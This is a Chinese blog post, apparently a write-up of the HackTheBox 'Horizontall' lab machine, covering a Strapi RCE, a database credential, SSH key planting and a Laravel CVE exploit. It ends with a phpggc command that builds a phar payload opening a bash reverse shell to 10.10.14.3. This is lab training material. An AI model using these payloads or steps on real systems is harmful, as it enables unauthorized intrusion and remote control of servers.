当前位置:网站首页>HackTheBox | Horizontall
HackTheBox | Horizontall
2022-08-08 13:01:00 【xxL7-】
Horizontall
nmap扫描,开放22、80,80对应站点http://horizontall.htb
访问80
dirsearch扫描,也没有东西
看wp之后发现在response的js文件里,有一个新的域名,虽然我仍然没找到
修改hosts文件之后访问http://api-prod.horizontall.htb/
找到一个admin路径,访问之后跳转到认证页面,使用了strapi
CMS
熟悉的套路就是Google exp,然后就找到了RCE
使用脚本,成功RCE,但是是无回显
直接反弹shell
检查/etc/passwd,看到developer
用户
strapi用户可以直接读取developer用户家目录下的user.txt
检查本地,存在MySQL
尝试寻找MySQL数据库登录方式,在/opt/strapi/myapi/config/environments/development
下的database.json
中找到一堆账号密码developer/#J!:F9Zt2u
但是该密码无法登录developer的ssh,还是从数据库入手。最终在数据库中找到strapi的管理员密码的密文值。
上john爆破也没爆出来
回顾前面的内容,发现本地还开放了1337
和8000
。探测这两个端口的服务,发现8000开放Lavarel
。
写ssh公钥,用于之后的端口转发
本地ssh-keygen
生成id_rsa.pub
,然后将id_rsa.pub
的内容写入strapi家目录下的.ssh/authorized_keys
中
本地设置ssh端口转发,将10.10.11.105主机上127.0.0.1:8000
转发到本地的8000端口
当再去访问本地的8000时,就访问到了10.10.11.105的8000端口上的Laravel服务,版本为v8
Laravel存在CVE,之前的某道题中用到过,所以直接找exp进行利用了
https://github.com/ambionics/laravel-exploits
直接拿到root权限
反弹shell
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'"
边栏推荐
- Collection of shell basics
- 逐步手撕轮播图3(分步教程)
- Qt操作Sqlite类封装,及命令行导入csv文件到Sqlite数据库
- 八月粉丝福利来了!大疆手机云台你爱了吗?
- 【软考 系统架构设计师】软件架构设计⑥ 软件产品线
- 数据解析(XPath、BeautifulSoup、正则表达式、pyquery)
- Three classic topics in C language: three-step flip method, Young's matrix, and tossing and dividing method
- 海外邮件发送指南(一)
- (5)FlinkSQL将socket数据写入到mysql方式二
- Win10环境下使用Flask配合Celery异步推送实时/定时消息(Socket.io)/2020年最新攻略
猜你喜欢
The use of string function, character function, memory function and its analog implementation
萤石、小米对垒智能摄像头
【JS高级】ES5标准规范之严格模式下的保护对象_09
海外邮件发送指南(一)
C language small project - complete code of minesweeper game (recursive expansion + selection mark)
MySQl表的增删查改(CRUD)
腾讯,投了个 “离诺贝尔奖最近的华人”
金融行业数智化供应链管理系统:多维度评估分析供应商,赋能智能金融变革
MySQL database storage series (5) the InnoDB storage format
用 Antlr 重构脚本解释器
随机推荐
C language small project -- address book (static version + dynamic version + file version)
建材业深陷数字化困局,B2B协同系统标准化交易流程,解决企业交易网络化难题
五面阿里巴巴拿offer后定级P6:分享自己的面试经历
案例分析 | 宜家以双钻设计模型探索线上零售新业务
Prometheus监控Harbor(二进制版)
【C语言】自定义类型详解:结构体、枚举、联合
Five-faced Alibaba rated P6 after taking the offer: share his interview experience
MeterSphere - open source test platform
(8)FlinkSQL自定义UDF
三个点语法和DOM观察者
MySQL:锁机制 |表级锁、行级锁 | 排它锁、共享锁 | 间隙锁
Program Environment and Preprocessing
宏任务和微任务——三目算符与加号优先级——原生的js如何禁用button——0xff ^ 33 的结果是——in的用法——正则匹配网址
家电行业趋势:2022从三方面把握家电产品升级方向
手绘地图制作的关键点之“图层覆盖”
STM32入门开发 制作红外线遥控器(智能居家-万能遥控器)
面试官问你什么是长轮询?
【SSR服务端渲染+CSR客户端渲染+post请求+get请求+总结】三种开启服务器的方法总结
如何对用户输入进行校验
R语言基于指定规则、条件删除列表中的元素:使用purrr包的discard函数移除列表数据中的NA值